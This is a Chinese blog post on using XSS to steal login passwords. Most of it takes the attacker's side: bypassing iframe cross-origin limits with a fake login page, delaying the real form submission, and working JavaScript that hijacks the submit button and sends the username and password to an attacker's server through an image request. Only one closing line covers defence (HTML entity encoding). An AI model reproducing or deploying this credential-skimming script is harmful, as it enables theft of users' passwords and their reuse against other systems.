xss用法之偷密码


从三个不同的角度来谈论这个问题

用户角度

造成危害的主要原因主要是因为现在各个系统越来越多,要设置的密码也越来越多,因此绝大多数人不同系统的密码都是一样的或者是有规律的。我相信90%的人的密码都是通用或者有规律的,有不是的人可以留言。这时候危害就来了,如果一个黑客发现了一个系统登录页面的可以执行用户的js语句(XSS),这个时候就可以在悄悄地在你登录的时候把密码传输到黑客的服务器了。

黑客的技术角度

xss偷cookie这大家应该都知道这是常见的用法,但是如果能直接偷到密码那就可以利用这个密码去尝试登录其他系统。
使用场景:后台无法getshell且后台无法发现更多的利用点,可通过钓密码来用这个密码去尝试登录其他系统或者ssh等。
使用限制:这个方法必须要能控制登录页面的js。

一开始我以为就是劫持登录按钮就行,后来发现事情远没有这么简单。

遇到的第一个问题:如果目标系统使用的是iframe嵌套登录的话就会出现跨域的问题,无法劫持登录按钮也无法获取输入框的值。这个时候我的解决办法有点lou,我的解决办法是通过伪造一个一模一样的登录界面然后通过xss替换掉iframe原来的src,但是这样会出现用户无法登录系统的情况,当然也跨域分析是如何登录的在伪造的页面上实现登录也可以,这样会比较麻烦。还有一种简单的方式是通过js在cookie中添加一个字段,给这个字段赋初始值为1有效期半个小时,刷新一次这个这个值就变为0。在xss替换src时判断这个值是否为1,如果是1就替换src是0就不替换,在接收密码的服务端收到密码后跳转回去cookie里的字段就会改变。这样用户第一次登录就以为是系统问题就会尝试第二次登录。这样最大的bug就是用户要登录两次才能登录成功,不能做到无感。

遇到的第二个问题:如果目标系统是通过form来登录的,可以劫持登录按钮,但是在登录的时候会出现同事发送了两个请求,如果正常的登录请求响应速度比发送密码到我们服务器的请求快那么就会出现密码还没发送到我们的服务器就已经302跳转了。这个时候我有两种解决办法,第一个方法让用户每输入一个字符就发送一次账号密码到我们的服务器。第二个方法就是在用户点击登录的时候让正常的请求晚一段时间提交。第一个方法的会导致我们的数据库里面内容太多,不够直观。第二个方法的不足在于页面的响应速度会比正常情况晚一秒左右。我比较推荐第二种方法,毕竟影响不大用户以为只是正常的响应慢而已。

form登录通过延迟的方式来窃取密码的代码如下

window.onload = function(){
    var aa = getElementByAttr("input","type","submit")
    aa.onclick = function(){
        var id = document.getElementsByName("id")[0].value;
        var pass = document.getElementsByName("pass")[0].value;
        var url="https://[domain]/a.php?user="+id+"&pass="+pass;
        var sub = document.getElementsByTagName('form')[0];
        new Image().src=url;
        function a(){sub.submit();}
        setTimeout(a,1000);//延迟一秒
        return false;
        } 
    function getElementByAttr(tag,attr,value){
        var aElements=document.getElementsByTagName(tag);
        for(var i=0;i<aElements.length;i++){
            if(aElements[i].getAttribute(attr)==value)
            return aElements[i];
        }
        return ""
    }  
}

开发者的防御角度

在输入任何数据的时候都要先将数据进行html实体编码后再输出

声明:john'blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - xss用法之偷密码


欢迎来到脚本小子的博客